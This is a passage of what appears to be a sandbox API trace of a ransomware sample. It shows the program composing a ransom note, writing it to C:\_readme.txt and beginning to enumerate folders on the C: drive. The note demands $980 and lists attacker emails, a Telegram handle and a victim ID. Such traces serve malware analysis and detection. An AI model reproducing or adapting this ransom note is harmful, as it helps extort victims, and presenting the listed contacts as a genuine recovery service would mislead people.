(lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.099] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.099] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f0c8 [0266.099] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.099] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.099] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f0c8 | out: hHeap=0x640000) returned 1 [0266.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x806) returned 0x31106e0 [0266.100] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0266.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.100] PathFileExistsW (pszPath="C:\\_readme.txt") returned 0 [0266.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x3110ef0 [0266.100] lstrcpyW (in: lpString1=0x3110ef0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.101] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.101] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x31099a8 [0266.101] CreateFileW (lpFileName="C:\\_readme.txt" (normalized: "c:\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a0 [0266.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x920) returned 0x3118bf8 [0266.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x88d) returned 0x3119520 [0266.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x3119520, cbMultiByte=2189, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 1166 [0266.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x3119db8 [0266.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3119520 | out: hHeap=0x640000) returned 1 [0266.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3118bf8 | out: hHeap=0x640000) returned 1 [0266.106] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned 1165 [0266.106] WriteFile (in: hFile=0x5a0, lpBuffer=0x3119db8*, nNumberOfBytesToWrite=0x48d, lpNumberOfBytesWritten=0x387fb64, lpOverlapped=0x0 | out: lpBuffer=0x3119db8*, lpNumberOfBytesWritten=0x387fb64*=0x48d, lpOverlapped=0x0) returned 1 [0266.107] CloseHandle (hObject=0x5a0) returned 1 [0266.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3119db8 | out: hHeap=0x640000) returned 1 [0266.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3110ef0 | out: hHeap=0x640000) returned 1 [0266.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.108] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x30914e0 [0266.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f0f0 [0266.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0266.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f0f0 | out: hHeap=0x640000) returned 1 [0266.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c) returned 0x309f0f0 [0266.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab798 [0266.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0266.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0266.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f118 [0266.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f140 [0266.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x38) returned 0x3091520 [0266.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0266.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab798 | out: hHeap=0x640000) returned 1 [0266.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f0f0 | out: hHeap=0x640000) returned 1 [0266.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f0f0 [0266.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f140 | out: hHeap=0x640000) returned 1 [0266.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f118 | out: hHeap=0x640000) returned 1 [0266.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0266.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0266.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0266.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f118 [0266.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f140 [0266.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x54) returned 0x3083390 [0266.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab798 [0266.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0266.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f0f0 | out: hHeap=0x640000) returned 1 [0266.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3091520 | out: hHeap=0x640000) returned 1 [0266.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f0f0 [0266.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f140 | out: hHeap=0x640000) returned 1 [0266.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f118 | out: hHeap=0x640000) returned 1 [0266.110] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0266.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x30816d8 [0266.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081690 [0266.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30823f0 [0266.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0266.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f118 [0266.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f140 [0266.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab798 | out: hHeap=0x640000) returned 1 [0266.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f0f0 | out: hHeap=0x640000) returned 1 [0266.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3083390 | out: hHeap=0x640000) returned 1 [0266.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081690 | out: hHeap=0x640000) returned 1 [0266.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30816d8 | out: hHeap=0x640000) returned 1 [0266.110] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xc31d1c60, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0266.110] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0266.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f0f0 [0266.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa8) returned 0x3056730 [0266.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab798 [0266.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x30816d8 [0266.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0266.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f118 | out: hHeap=0x640000) returned 1 [0266.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f140 | out: hHeap=0x640000) returned 1 [0266.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30823f0 | out: hHeap=0x640000) returned 1 [0266.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f140 [0266.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f0f0 | out: hHeap=0x640000) returned 1 [0266.111] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xc3706c80, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0266.111] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0266.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f0f0 [0266.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f118 [0266.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f118 | out: hHeap=0x640000) returned 1 [0266.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f0f0 | out: hHeap=0x640000) returned 1 [0266.111] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcfe087e0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xcfe087e0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0266.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0266.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfc) returned 0x30b6fa8 [0266.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab7d0 [0266.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f0f0 [0266.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309f118 [0266.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab798 | out: hHeap=0x640000) returned 1 [0266.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.112] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30816d8 | out: hHeap=0x640000) returned 1 [0266.112] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f140 | out: hHeap=0x640000) returned 1 [0266.112] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.112] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3056730 | out: hHeap=0x640000) returned 1 [0266.112] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab798 [0266.112] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.112] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0266.112] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, 